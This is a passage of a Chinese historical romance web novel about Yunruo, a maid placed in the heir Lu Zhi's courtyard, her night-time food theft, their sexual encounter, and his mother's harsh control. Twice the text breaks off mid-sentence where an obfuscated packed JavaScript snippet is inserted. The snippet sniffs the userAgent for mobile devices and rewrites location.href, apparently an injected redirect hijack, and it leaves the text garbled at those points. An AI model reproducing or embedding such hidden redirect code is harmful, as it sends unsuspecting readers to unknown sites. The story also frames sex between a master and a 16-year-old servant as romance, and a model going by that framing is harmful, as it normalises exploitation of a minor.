李嬷嬷等了半晌,没听到世子说话,余光瞥见这个云若竟敢直勾勾盯着世子,作出一副柔弱无辜的模样,真是个不安分的东西! 果然是杜姨娘院子里出来的,就会狐媚惑主那一套,幸好世子心明如镜,必不会被她装出的样子蒙骗。 无论如何,此人决不能留在承熙院里。 “大胆奴才,竟敢同世子顶嘴!”李嬷嬷用藏在袖子里的手使劲拧了一下一旁的云若,同时出声呵斥,“一点没规矩,怎么伺候得了世子,还不快跟我回去领罚。” 李嬷嬷用的巧劲,她看上去没做什么,却让云若生疼,她低下头避开世子视线,强忍痛意,但眉头还是控制不住皱了皱。 这点小动作陆执还不至于察觉不到,他垂眸,李嬷嬷一脸做错事诚心请罪的表情,只会欺软怕硬的做派让他厌烦,眼底的笑意褪去,刚刚因发现有趣的新东西所生发的一点乐趣也消散不少。 扫兴的老奴。 “嬷嬷言重了,你每天要伺候母亲,又要操持荣安堂诸多杂事,有什么顾不到的也实属正常,一个不懂事的下人不值得你如此动气。你把东西留下,人——也留下。” “世子……” “好了,你出来那么久,母亲还等着你伺候,你先回去吧,还烦请嬷嬷替我谢过母亲的好意。” 李嬷嬷心中暗道不妙,世子居然突然改了主意,莫不是真被这狐媚子蒙了眼?但主子已然开口,她一个做下人的也不敢干涉主子的决定。 “多谢世子不怪罪,这些都是老奴分内之事,这些糕点都是夫人特意吩咐老奴做的,入夏了,您容易胃口不佳,夫人担心您吃不好,饭前吃点这些,开胃的,味道还和您小时候的一样,您一定会喜欢的。” “母亲和嬷嬷有心了,晚些时候我再尝尝,现在我要温书了。” 说着,陆执招了招手,一直在一旁候命的左行上前将世子桌上的画收好。 世子要读书,李嬷嬷也不好再久留,“那老奴先告退了。” 陆执淡淡嗯了一声,李嬷嬷瞪了一眼云若,缓缓退出了陆执的书房。 云若从刚才被掐就一直缩着脖子,后来一股寒意笼罩着她,方才进世子屋里觉得凉爽,现在却觉得有点冷了。直到李嬷嬷离开,她才感觉好多了。 世子没发话,云若三人还跪在书房里。 左行送完李嬷嬷回来,见主子端坐在书桌前,正捧着本不知哪里淘来的无名书在读。 “世子。” 陆执抬眸,左行立马以眼神询问如何安排几人。 世子跟李嬷嬷说把人留下了,可承熙院中从未有过女人,下房里住的全是小厮侍卫,总不能让这三个年轻姑娘和他们这群没见过女人的糙汉子住在一起,那成何体统。 陆执像是忘了自己亲口收下的人还站在自己书房似的,他想了想,吩咐道:“把后罩房的东西收拾收拾,放进库房,让她们住那。” 左行得了令,让几人把点心放下后带着她们去了后罩房。 后罩房虽本来就是给她们这些下人住的,但是承熙院的奴才住在下房就够,这后罩房就空了出来,陆执自己爱收集些小东西,新鲜劲过了就让人收了起来放在这里。 东西不算多,只是放得不齐整,左行还叫了两个小厮,六个人一块收拾,很快就可以住人。 “好了,一会儿你们去那边那个屋子找院里管事右安要几床被褥,今后你们就住这,我叫左行,是世子爷的贴身侍卫,平时也多是我在世子身边伺候。世子喜静,你们没有吩咐就不要去前院伺候,右管事会给你们安排活的。” “是。” 左行是世子近侍,侍奉世子多年,他的意思,大都传达的是世子的意思。 只要留在了承熙院,杜姨娘应该暂时不会为难她们,李嬷嬷也未点明送她们来的目的何在,世子可能以为她们只是夫人拨过来伺候的普通丫鬟。 “你们叫什么名字?” 三个人报了自己的名字,左行默默对着脸记下。 “世子不喜欢爱惹是生非的人,你们老老实实干活就行,世子不会亏待你们。要是谁惹了祸,世子虽不会罚你们,但这承熙院你们也是留不得了。” 适才那个大胆在世子面前能言善辩的丫鬟现在只在一旁安静地点头,想她应该是听进去了他的话,其他二人看起来也很听话,应该不会出什么差错,左行匆匆交代了几句就回书房外待命去了。 云若三人去找管事拿了被褥,才铺好,就被叫去干活了。 承熙院没有丫鬟,世子的衣物都是交给府邸中的洗衣房浣洗,来回一趟,到底有些麻烦。如今院里有了丫鬟,他们可以不用多跑一趟,乐得轻松一些。 天气炎热,冰凉的井水让这个活儿更容易了些。 要洗的是世子的夏衣,多是去年天气冷了后就收起来的,放了一个冬天,再拿出来穿的确需要洗一洗。 云若在霓裳阁是头等的丫鬟,学的是些更精细的活,不过她在家里的时候,家里的大活小活几乎全被她包揽,洗衣服这种活对她来算是轻松的。 云燕、云月也是穷人家的孩子,做起这些活儿来很是利索。 洗好衣服,趁着日头好,三人架了杆子把衣服晾在后院,又拿起小厮随脏衣物一起送来的几件旧衣物做起了针线活。 在霓裳阁的时候,管你是哪等丫鬟,管事婆子都不让彼此之间有过多交谈,大家每天除了吃饭休息,就是在各个婆子的监督下学东西干活,多说一句无关的话都会被责罚。 她们每天天不亮就被叫起来,忙到快子夜才允许睡觉,比她家骡子都要累,当时在霓裳阁虽与她们同住一间屋子,实在没有多的时间闲聊。 等进了凝香院,赵嬷嬷也每天盯着她们,除了学规矩,也不让她们几人之间有任何交情的可能。 所以同在一个屋檐下三个月,云若与她们只算得上点头之交,两人从哪儿来,怎么进的霓裳阁她都不知道,不过看她们干活的样子,还有手上的茧,应该也是吃了不少苦的。 现在到了这,干活没人盯着,云若还有点不适应。 云若的针线活一直做得不好,从前她只需要把衣裳的洞补好,能穿就行。可她补麻布粗衣的手法哪能用来缝这些精致的衣裳,教她的婆子让她针脚要密,花样要俊,还要穿着舒服,这对她来说太难了。 云月云燕绣工好,很快就把各自手上的衣裳补完了,见云若还没绣完,把绣好的衣裳叠好放在托盘里,让云若绣完后一起送到前院,交给右管事。 云若应了好后,两人开始收拾起了屋子。 屋里的光线已不如最初的明亮,云若抬头才注意太阳已经偏西,右管事说院里一般申时末用饭,为了不耽误吃饭,她加快了手上的动作。 她总算在晚饭前绣完,她送完衣裳顺道去了趟厨房,把三人的饭一并领了回去。 云若拿着食盒回来的时候就闻到香气,一直馋着,等打开食盒的时候,她两眼瞬间放光:不愧是国公府。 主食是她长这么大以来就吃过一两回的米饭,菜品是三素一荤,油水和量都很足,她高兴地盛好饭,招呼云月云燕过来吃饭。 这算得上是她这么大以来吃过的最好的一顿饭了。 之前在凝香院的时候,赵嬷嬷要求她们身段婀娜,觉得她们的身量还不够纤细,吃什么都得经过她的允许,精细的粮食胖人,哪怕凝香院下人的伙食也不差,但云若她们几个只有看着的份。 云月云燕看到丰富的菜品,也是有些惊喜,三人围坐一桌开始用饭。 云若呼哧呼哧吃了一碗饭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150077|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还想添第二碗的时候,却看到两人都放下了筷子。 “你们都不吃了吗?”云若端着碗,在添与不添之间为难。 云月回她:“赵嬷嬷教导,晚饭不宜用太多,若是今晚世子要我们跟前去伺候,我怕吃多了不舒服。” 云燕也应和了一声,两人默默地把自己的碗筷收拾好。 云若觉得她们说得很有道理,而且她吃饱了容易有小肚子,要是讨世子不喜了,可能以后就吃不到这么好吃的饭菜了。 云若宽慰自己,为了能长久有饭吃,她愿意每天都少吃一点。 于是云若含泪收起了碗筷。 云月说她有些吃多了想要消消食,饭盒就由她送回厨房。 云月脚程倒快,很快就回来了,同时还告诉她们,右管事说今天没她们什么活儿了,她们可以早点休息。 原来世子今晚不打算召她们去伺候,早知道她刚刚就应该再吃一碗的。云若暗自懊悔,她只吃了一碗饭,最多半分饱,漫漫长夜,她又要忍着饥饿度过。 “我想起来厨头看我们剩饭多,说他忘了我们是女子,饭量比男子小一些,他是按院里小厮的胃口给我们准备的饭菜,他下次会少给我们装些。” 云月净说些让她想死的话,其实那些剩饭,她撑一撑还是能吃完的。 “厨头还说,要是我们饿了,可以自己去厨房找东西吃。世子待人宽厚,这些事上也没有别的院子规矩多,所以厨头一般都会多做点放在灶上,谁饿了的时候不至于没东西吃。” 云若一听,方才的阴霾一扫而空。 云月好,厨头好,世子也好。 没有活儿干,云若一身轻松,她现在刚吃完饭,也不好再去厨房拿吃的,所以她早早上了榻,希望在饥饿来临前入睡,睡着了就不怕饿了。 可她还是高估了自己,等她被饿醒的时候,夜色早已降临,云月云燕什么时候吹了灯歇息的她都没察觉。 她本想忍一忍,毕竟这么多年来她已经习惯了忍受饥饿,可是她一想着厨头做了好吃的放在灶头,她就已经开始馋了。 等肚子已经开始发出声音反抗她的时候,她已经摸黑穿上了鞋,偷偷溜出了房间。 云若白天的时候,并没有完全把院子走一遍,对承熙院的布局还不熟悉,她只知道罩房、书房、前院、厨房四处的位置,她今天把东西交给右管事后,跟着他指的路才找到了厨房,回来的时候,她被饭菜香迷糊了,一时也忘了问厨房到罩房怎么走。 她是先从厨房走到前院,再从前院走回来的,等云月送食盒,不一会儿就回来的时候,她才反应过来自己怕是绕了远路。 眼下云月已经睡了,她也不好意思扰了别人美梦,只能再绕一回,等明天白天没活的时候再把院子逛一遍,记记路。 越靠近前院,巡逻的人便多了起来,她走得快,一路上没碰到人就到了厨房,她轻轻推开门,果真没锁,她从袖子里掏出火折子照亮。 走到灶台前,云若感受到了余温,她满心期待地揭开盖子,在里头看见了三盘点心。 这是白日里夫人让她们送过来的,原来世子没吃。 世子没吃也好,便宜她了。 她来的路上端着这糕点的时候就好奇这个糕点是什么味道的,她从来没见过这么好看的吃食,想着味道应该一样很好。 她拿起一块山楂芙蓉糕尝了尝,这糕点入口即化,酸酸甜甜的,一下勾起了她的馋虫,她开始大口吃了起来。 云若又尝了其他两样,虽记不得名字,但都很好吃,她一口气吃掉了一大半,等她有了几分饱腹感的时候,糕点已经没剩多少了多少了。 打更声幽幽传来,已经是二更天了,云若觉得自己应该回去了。临走时,她看了眼盘中的点心,还是忍不住包了两块带走。 她凭着记忆中的路线返回,可惜月色消失了一段时间,等它再出来的时候,云若发现自己好像走错了路。 这处地方她好像并未来过。 云若借着月色努力辨别方向,没注意脚下,不小心撞到了什么东西。 “啪”一声脆响,在这个静谧的夜色里显得有些突兀。 “什么人?” 听到白日里那熟悉的声音,云若的心都悬了起来。 5. 小鹿 陆执夜晚没有功课安排的时候,喜欢看会儿闲书再睡觉。 今夜他结束今日的任务,本打算看会儿前阵子淘的古籍就歇息,刚翻开书,屋外凌乱的脚步声就引起了他的注意。 “左行。” 经世子提醒,左行也注意到了,来人的步子特意放缓了,但是很虚浮,不像是练武之人。 “承熙院都入贼了,你还不快去看看?” “是。” 左行刚出了屋子,就听到一声脆响。 心中疑惑,这么大的声响,是哪里来的毛贼? 等他在柱子后面抓到人的时候,的的确确被来人震惊了。 在杜姨娘看来,我们世子就只值得安排这种人在身边监督吗? 云若是被左行拎进陆执的屋子里去的。 远远的她就看见坐在椅子上看书的世子,左行把她拎到离世子三步远的地方放下她,她脚一软顺势跪下,膝盖磕在坚硬的地上,发出沉闷的声响,痛得她倒吸一口冷气。 “世子,这个丫头在院子里鬼鬼祟祟,还打碎了您好不容易养活的君子兰。” 陆执侧目一瞥,看清了来人,还没开审,她就一股脑儿自个招了。 “世子爷,奴婢知错了,奴婢不是故意打碎的。”说着,她从怀中摸了半天,掏出一方包着东西的手帕。 她似乎对里头的东西视若珍宝,等她把东西打开一看,只是几块已经碎了的糕点。 左行一愣,不可思议地看向陆执,陆执挑眉,像是在说,你就抓了这么个贼? “求世子爷开恩。奴婢只是到厨房找点吃的,回来认不得回房的路了,这才走错了。您要打要骂都可以,只求别把奴婢赶出去。” 云若连磕三个头,低伏在地上战战兢兢请罪。 “怎么,右安不给新来的丫头吃饭?” 陆执这话虽是冲着左行说的,但云若知道该回的是她。 “不不不,右管事没有不给奴婢吃饭,是奴婢饿得快……奴婢饿得睡不着,这才去厨房偷吃的……” 她一直低着头,陆执只能听见她极力压制不安的声音,看不到她的神情,不知道她的话有几分真假。 “抬起头来说话。” 云若抬起头,对上陆执温柔的目光,她连忙错开。 “再把刚才的话说一遍。” 她重复了一遍刚才的话,声线依旧是带着不安,但已比刚才平静了许多,陆执视线一直落在她的脸上。 紧张,窘迫,疑惑,就是没有心虚,一个人的脸上竟还能有如此丰富的神情。 心里已经有了判断,但他不想就这么放过了她,身子靠在椅子上找了个舒服的姿势,继续发问:“此话当真?” “奴婢不敢欺瞒世子。” “可是你要去的厨房,穿过后院走两步就是,怎么跑到前院来了?” “奴婢……不识路。” 陆执发出低沉的笑声,拂过她的心尖。 “好了,你先下去。” 世子果然是通情达理好说话的人,云若因没被受罚而高兴跪谢:“多谢世子!” 人还没站起身来,就听陆执开口:“左行,怎么还站着不动。” 完全没意识到主子刚才那句话是对自己说的左行满脸疑惑。 主子,我吗?我先下去吗? 陆执像是听到了他的心声,嘴角上扬,唇边噙着笑意:“留她在这里伺候就够了。” 左行大骇,左行不解,左行速退。 吱呀一声,房门被左行从外关上。 虽已入夏,但晚间的风吹久了还是有点凉。 云若脑海里还回想着世子的那句“留她在这里伺候”,更是懊恼她今晚怎么就忍不住嘴馋呢。 陆执重新拿起书,刚要翻页,看到一旁站着的人有点局促,手指敲了敲桌子。 云若回神,看到陆执面前的杯子空了,立即上前添茶。 屋里很快恢复宁静,除了两人平缓的呼吸声交织,还能隐约听到夏虫的鸣叫。 世子没有别的吩咐,云若就在一旁站着待命。 世子看书很快,两页密密麻麻的字,云若远远看着都觉得眼睛疼,世子却没扫几眼就翻了篇。 也不知道世子又看了多久,云若已经有点无聊了。 她很少有这么清闲的时候,在家的时候,她总有干不完的活,被卖了之后,不是在学规矩,就是在干活。 像现在这样,待在这么安宁的环境里,静静地陪着一个人,她反倒觉得有些不真实。 渐渐的,屋子里只剩下陆执翻书的声音,他的房间里熏着淡淡的香,闻起来很舒服,困意开始席卷云若。 许是窗户没关严实,一股凉风吹了进来,橘黄色的火焰一阵手忙脚乱,云若被吹得一激灵,人也清醒了不少。 陆执被她的这点小动作吸引,目光淡淡地扫过去,云若霍地站直。 难为她站着都能打瞌睡。 罢了,刚刚的烛火晃得他眼睛疼,陆执索性放下书休息一会儿。 他单手扶额,闭上眼睛缓解疲乏,随口问到:“叫什么名字?” “奴婢云若。” “几岁了?” “十六了。” 两人你一问我一答,气氛平和,倒有点像老友叙谈。 “来府里多久了?” 云若算了算日子,回他:“刚巧今年春分到的府里,已经有两个多月了。” 陆执点点头,不再发问,云若也只静静站在一旁,等着他吩咐。 陆执缓了好一会儿才睁开眼,一阵短暂的模糊后,他的目光被云若身后不远处那幅挂在墙上的画吸引。 白日里她退下后,陆执在书房看书,瞟到左行还未收拾好的画,一时间灵光乍现,他仿佛知道自己的画里少了什么。 只是这感觉忽而清晰忽而模糊,让他捉摸不定。他当即展开画,信手提笔,扫视了画中景物的布局后,在溪流旁画了一头正在喝水,却受了惊的小鹿。 他笔锋勾转,没有犹豫,为这只鹿点上了眼睛。 画笔落下的瞬间,原本死气沉沉,透着夏日烦闷的画一下充满了生机。 思绪及此,落在画上的视线逐渐模糊,所有目光不由自主集中到眼前这个鲜活的人身上。 仔细打量,她这张脸不仅惊艳,还很合他喜好。 梳着简单的双丫髻,青翠色的发带乖乖垂在她肩头,一身碧绿的翠烟衫,散花水雾绿草百褶裙,她低顺着眉眼,小巧的鼻尖泛着粉意,唇色红润,一侧脸上细小 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第一次和男子靠得那么近,男人沉重的呼吸洒在她的头顶,让她脑袋发热,思绪紊乱,解襟带的手不禁有些哆嗦。 褪下外衫,云若把衣衫挂上架子回来,陆执已经坐在了床边,手随意搭在他大开的两膝上。 云若低着头,弯腰去解他胸前的襟带时,男人温热干燥的大手一把抓住了她一双小手,她有些错愕地抬头看向他。 “这是我的里衣,再脱就没了。” 陆执松开手,云若赶紧收回手。 原来世子不想都脱了。 屋子里陷入了短暂的静默。 云若双手交叠在前,有点不知所措。世子还不动作,是要她主动吗? 感受到世子灼热的视线在她身上打转,云若抬眼迅速瞥了一眼,只看到世子微抿的薄唇。 她心中一横,一咬牙,闭上眼去了上去。 预想中的柔软并没有碰到,细柔的发丝轻扫她的脸颊,一阵酥麻。 云若眼睫轻颤,睁开双眼中,只看到世子脸庞的棱角。 陆执头微微后仰,与她拉开点距离。 “原来送你到这院子里来伺候,是这个意图。” 云若睁圆了眼看向陆执。 陆执笑着看她,眼神玩味。 云若这才反应过来,自己误会了世子的意思,她刚才还差点偷亲了世子…… 巨大的羞意涌出,云若霎那间红透了脸,偷亲时鼓起的力气一瞬间泄掉。 手心发汗,腿肚打颤,人即将跌落的时候,一只有力的臂膀揽住了她的腰。 “奴婢……奴婢……奴婢告退……” 饶是她再想保持冷静,此刻在陆执的颇有意味的注视下,云若觉得手脚都不听使唤了,话也说不明白,她只想赶紧逃离。 云若一个翻身,从陆执手中摔下,顾不上疼,迅速起身行了一个乱七八糟的礼,转身要走,却被他叫住。 “回来。” 世子的声音还如她第一次听见时的那样低沉好听,只是这次仿佛有一道无形的力量束缚着她,扯着她,让人难以动弹。 “谁教你的,惹了祸就跑?” 6. 小肚子 今日下午的时候,右安就来汇报过,这几个人是杜姨娘送到母亲院子里,再请母亲送过来的。 她倒是知道他不会要她送的人,想得到利用母亲来送。 只是不知道,母亲这次为何顺了杜姨娘的意。毕竟两人向来不对付,陆执没料到母亲会容忍杜姨娘安排人在自己身边。 把人送过来了,母亲却告诉他,不喜欢就把人送回去,他不想要,杜氏也拿他没办法。 人他都已经说要留下了,又没犯什么错,平白送回去做甚。 杜姨娘平日里做小伏低,看着安分,但这次送得了一次,难免不会送第二次,不如留下,看看她能掀起什么风浪。 陆执没想到,杜姨娘的人如此沉不住气,第一个晚上就敢在他屋外打探,还发出那么大的声响。 把人抓进来一看,又是那个胆子忽大忽小的家伙。 起初还以为是个不会找借口的,但再看,好像还真是一个有点单纯无知的人。 但如果是在他的面前演出这副模样的话,那杜姨娘的目的一下子还看不透。 不过她这个样子,逗起来还挺好玩的。 抱着这种心态,他把人留了下来。 她在一旁伺候的时候很安静,会时刻注意自己有没有挡着他的光线,茶刚喝完,她就又续上,然后回到原处站好,小心得不注意都不知道屋子里还有个她。 最后续上的那杯茶,他没喝,她也就没事可做,开始打起了瞌睡,风把她吹醒了,他也觉得乏了,想歇息了。 才想起还不知道她叫什么,就随便问了几个问题。 入府的时间不长,不知道和杜姨娘是从什么时候认识的。 然后他看到了那幅画,因为她才完成的那幅画,他一画完就很满意,随即让左行裱了起来。 左行做事利索,晚上就把画裱好了,问他放在哪里,他只说找个地方挂起来,他现在才知道左行把画挂到了这里。 他虽喜欢这画,但这画的风格与他这屋内的风格不是很相配,哪天让左行再重新找个地方挂。 今天一天,他也累了,就想歇息了。 宽了衣,她还拘在原地不动,他以为有什么事,还没开口,就见一张红扑扑的脸凑了过来,他来不及吃惊,连偏头躲开。 这下他彻底清楚她听到他要她伺候时的惊诧是怎么回事了。 原来杜姨娘不但想送人到承熙院,还想把人送到他床上。 这种人,他不需要。 心是这么想的,但看到她羞红窘迫的脸,混乱的话语,凌乱的动作,他又觉得很有趣。 他起初只是想逗逗她的。陆执看着身下有些恍惚的人,心想。 云若已经不知道自己深处何地了,她所看到的东西也一直在变换,整个人只有被摆弄的份。 当她脑袋耷拉,飘忽的眼神无意间看到自己微微凸起的小腹,晕乎乎的脑袋居然开始思索。 回想她今晚为什么不多吃一碗饭的原因,也是造成她现在躺在这里的原因,可她现在还是吃出了小肚子,那她岂不是白白挨了顿饿? 云若欲哭无泪,脑海里只有一个念头,早知道下午就该吃三碗饭。 刚想完三碗饭,她又跳脱到不能有小肚子,于是她深吸了口气,把小腹收了回去。 她只顾着吸气收腹,忘了呼吸,一直憋着气,生怕一松口小肚子又要凸出来。 “怎么不喘气了?” 没感受到她的呼吸,察觉她身子也变僵硬了些,陆执疑惑凑近了她,男人身上蓬勃的热气裹着她,惹得她小脸发烫。 以为她是呼吸弱了,靠近了一点呼吸都没有,燥热的手掌一把握住了她纤细的脖颈,手指感受到她有力脉搏,这才松了口气。 指腹摩挲,云若颈间的肌肤还从未有人碰过,陆执这么一摸,刺激得她缩了缩脖子,忍不住想笑,刚才憋的气就散了些。 陆执把人抱到烛光下,顺着她的视线看去,亲眼看着她的小腹瞬间变得过于平坦。 这下他明白怎么刚才这人不喘气了。 怎么跟小孩子一样,还有这样的心思? 觉得她这个行为实在有些可爱,忍不住轻笑出声,未察觉自己心里某处地方蓦地柔软。 陆执将人翻了个面,大掌抚上她的肚子,轻轻揉了揉,云若身子一颤,腰间产生细密的痒意,她彻底泄了气,僵硬的身子也软了不少。 “收个小肚子怎么连气都不喘了?”说着,陆执用手指温柔地捏了捏,温热的指腹撩起阵阵酥麻,“不过你可以不用收小肚子,软乎乎的,摸起来很舒服。 云若现在脑子里满是混沌,已经难以辨别陆执说了什么,她浑身无力,任由陆执揽着动作。 陆执忙活了一个多时辰,直到左行冒死在外面提醒了一句“爷,已经子时末了”,他才偃旗息鼓。 他随意披上外袍,坐在床边看她穿衣。 云若脸红得能滴出血来,背过身草草把衣服穿上。适才出了一身汗,身上很黏腻,但她也只能忍着。 穿好衣服,云若问他:“世子还有什么吩咐吗?” 陆执挥手让她退下。 云若颤着腿行了礼后离开,打开门,看到左行在台阶下站得板正,目不斜视,浑身写着他不敢乱看。 云若脸上的热意还未散去,心里觉得别扭,快步走下台阶,想赶紧离开这里。 刚走到左行前方,就听到世子在里头吩咐:“左行,备水,我要沐浴。” “是!” 左行中气十足的声音让云若脚步一顿,她的脸已经红得不能再红了,她想她以后可能再也不能和左侍卫好好说话了。 不敢多做停留,她头也不抬,三步并两步,逃跑似的回了自己的房间。 躺上床的时候,云若还有些恍惚。 身体的异样告诉她,前半夜发生的一切都是真实的。 突然想起什么,一摸腰间,帕子包着的点心落在世子屋里了! 她这一趟,实在是走得不值! ** 夜色褪去,晨光熹微。云若今日醒来比平日晚了些,她坐起身,腰间的酸胀让她忍不住嘶了一声,下床的时候,双腿又是一个打颤,她差点没站住。 今日干活怕是要比往日更累些了。 云月云燕已经起了好一会,这会儿已经洗漱完了,准备出门去清扫后。云若不敢偷懒,顾不上身子的不适,匆匆收拾好,和她们一前一后出了房间。 等她端着盆到后院的时候,发现云月放下扫把,跟着一个小厮走了,只有云燕在扫地。 云若疑惑,以为是云月做错了什么事,她走上前问云燕:“云月怎么走了。” “右管事命那小厮来吩咐说,从今日起,我们三个轮流去前院伺候,今天就先由云月先去,明日是我,后日是你。” 昨日还说没有世子允许,不许到前院去,今日世子就允许她们轮着去伺候,看来世子已经深刻领悟了送她们来的意图。 去前院服侍活比较轻松,没有那么累,不过需要贴身服侍世子的话,依云若来看,还是干点重活好。 她身子还未恢复爽利,力气和体力都不如平时,她今天上午的工作是把后院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150079|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连廊柱子擦干净,她不够高,踩上凳子也得踮脚,不一会儿就手酸脚酸,她只能干擦完一根歇一会儿,干活的速度比平常慢了不少。 ** 荣安堂。 陆执还是和往常一样,来和陈氏请安,不过陈氏一眼就注意到了,今日跟在陆执身边的不止有他的近侍,还有个昨儿从她这里送过去的丫鬟。 陈氏脸色如常,等陆执请完安,她才开口:“你们都先下去,我想单独和世子说说话。” 李嬷嬷招呼着屋里的仆人全都出去,她守在附近,仔细着那个云月有没有什么可以的举动。 “昨儿个,你遣人来问,李嬷嬷不是已经告诉你了,这几个人是凝香院塞过去的,我以为你会把人打发了,怎么今儿个还带出来了。” “杜姨娘一片心意,母亲您都拒绝不了,我怎好拒绝?” 陆执一番话,两次叹息,说尽自己的无奈。 陈氏一听,又想起昨日杜氏的嘴脸,一股无名火蹿起,冷哼一声:“若不是她搬出了你爹,我怎会让她牵着我的鼻子走!左右你不喜欢,把院里的粗活杂活安排给她们,哪天再寻个错处打发她们就是了。” 陆执起身上前,为陈氏抚背顺气:“生气伤身,母亲不必操心这点小事,儿子心里有数,姨娘的一番好意,我们受着就是了。把人放在眼前看着,总比她们背后使绊子好。若她们果真居心叵测,别说承熙院容不下她们,镇国公府也不会让她们好过。” 陈氏赞许地看了他一眼,不愧是他的儿子,有远见有手段,凭杜娇那扶不上墙的儿子,她拿什么和她们母子俩争。 想到这里,陈氏也冷静了下来,她抓住陆执的手,语气恳:“那就好。鹤哥儿,你是为娘的骄傲,娘这剩下的半辈子就指望你了。” 陆执轻拍陈氏的手,“母亲放心,儿子不会让你失望的。” 陈氏点头,松开陆执的手让他坐下。 陈氏端详着自己儿子的脸,回想起他小时候的模样,觉得他还是小时候看着更顺心些。 小时候的他脸圆圆的,眉眼还未长开,但已经能窥见日后的相貌必是不凡。 可是他当他褪去稚气后,他的脸庞变得凌厉英气,五官也逐渐硬朗,那张脸是独一无二的俊美,可惜愈发长得像他父亲,陈氏越看越讨厌。 虽然这张脸她改变不了,但她可以从别的地方改变。她开始只允许他穿素净淡雅的宽袍大袖,刀剑那些也不让他耍,总是督促着他多读书,教给他皇家的礼仪,纠正他平日的每一个不合规矩的小举动,若是做得不好,她是要生气的。 他更小些的时候,他一做错她就会生气,她一生气就会惩罚他,但他逐渐学乖,她不需要再出手惩罚,只要她一作出生气的样子,他就会乖乖改正,听话极了。 这种管束一直到他周身气场柔和,一靠近就给人安宁的感觉,一眼看上去,面庞温润,不再觉得和他父亲是一个模子里刻出来的,一举一动没有一点粗俗,皆是得体的礼数,他出口成章,满腹才华,是一众读书人和世家贵族的表率,深受众多贵女的喜爱。 大家提起镇国公府的世子,都只会说是她教养得好,不会觉得是他陆达教子有方。 毕竟这是她一手带大的孩子。 她的儿子应该一直如她印象中的那么听话,她应该是这个世界上最了解他的人,可是…… “我听说有个丫鬟昨夜子时从你寝中出来,这是怎么回事?” “母亲恕罪,儿子辜负了您平日的教导,一时被美色所惑……” 话还没说完,一记清脆的声音打断了他。 7. 药 陈氏这一巴掌在陆执意料之中。她打得并不轻,但陆执挨了之后,身子也没有任何晃动。 这也是陈氏教导他的。 “原以为我教出来的,会与那些普通男人不一样,原来这是你们男人的劣根,改不了!” 陆执垂眸起身请罪:“母亲,是儿子心性不坚,辜负了您的教诲,请母亲责罚。” “罚?”陈氏看着即使躬身也比她矮不到哪里去的人,一晃眼,那个喜欢抱着她的腿糯声冲她撒娇的孩子已经长大了,“你都这么大的人了,我该怎么罚?” 才将陈氏问丫鬟的事,希望听到的是陆执的否定,可是他如此坦率地承认,虽然认错,但是看起来却没有一点悔过的意思,她一下子就想到了十年前陆达带那个女人和她的一双儿女回来时候的样子。 陆达牵着杜娇的手,怀里抱着他两人的女儿陆蓉,陆平耍脾气也要他抱,陆达朗声大笑。 “你这个做哥哥的怎么还跟妹妹争?爹爹两个都抱好不好?” 陆平不说好不好,一味攀着他的腿撒娇要抱,陆达只好松开杜娇的手,单手把陆平抱了起来。 杜娇脸上洋溢着笑:“陆郎你就会惯着孩子。” 四个人其乐融融,看起来像是真正的一家人。 彼时她牵着陆执在门口等他归来的样子,简直是个笑话。 她记得那天,她特地让陆执早起,换上了新做的衣裳,备好午膳后,就带着他到外面等进宫面圣的他。 这是她和陆达自新婚不久后时隔十年的重逢,她冒死为他生下的孩子他还未曾见过一面,她盼这天盼了好久,日思夜想,寤寐思服。 她不记得自己在大门处站了多久,但她终于等来了皇上的仪仗,那是皇帝因他的军功特地赏赐的。 随着马车越来越近,她的心也跳得越来越快。 直到她看到这副尽显圣恩的马车上下来的不止他一个人。 她先前怎么也抑制不住上扬的嘴角一下子变得酸涩,被扯着向下,那颗雀跃的心也逐渐归于平静。 陈氏看向陆执,虽然陆执眉眼长得很像陆达,但她知道,他与陆达不同。 陆执是她一手栽培的,他的品性她知道,他断不是那种三心二意、沉迷女色的人。 是她不好,她念着男女有别不曾教给他男女之事。 这些年来一味让他一心念书,可像他这个年纪的其他少爷公子,大多对此事已经知之甚深,可他从未接触过这些,一时被迷了眼也情有可原,毕竟人有七情六欲,是她这个母亲没考虑周到。 想到这里,陈氏的气已经消了大半,她扶起陆执,叹了口气,说:“罢了,本就是送你的通房丫鬟,你用着就是了。只一点,你的第一个孩子,只能是你将来的正妻所出,长子更是,母亲绝不想看到你有什么宠妾灭妻之举,你明白吗?” 陆执眉眼低顺,“儿子明白。” 陈氏看着他脸上的红痕,心里隐隐作痛,她轻轻抚上,问他:“疼吗?” 陆执微微一笑,“不疼。” “那在我这里多坐会儿再回去,外面人多眼杂,被哪个有心人看去了,不知道要乱嚼什么舌根。” “好。”陆执拉下陈氏的手,扶她坐下。 “正好我也有一段时间没好好陪过母亲了,不如今日就留在母亲这里用午膳?许久没有尝过母亲的手艺,儿子都有些想念了。” 陆执脸上带着得体的笑,只是在这张微微有些红肿的脸上有点违和。 “也好,我们母子俩是有许久没一起用膳了。你这三个多月来闭门养伤,我瞧着消瘦不少,读书科考要紧,你的身体也要紧,今天我让厨房多给你做点补身体的,你多吃点。” “多谢母亲关心,儿子会注意身体。” “以后就算是要救人,你也不用亲自上,左行是干什么吃的?那些公子少爷谁身边没个侍卫,让他们去就行。还好这次手伤得不严重,明年秋天就要乡试了,你可别再受什么伤了。” “儿子知道了。” 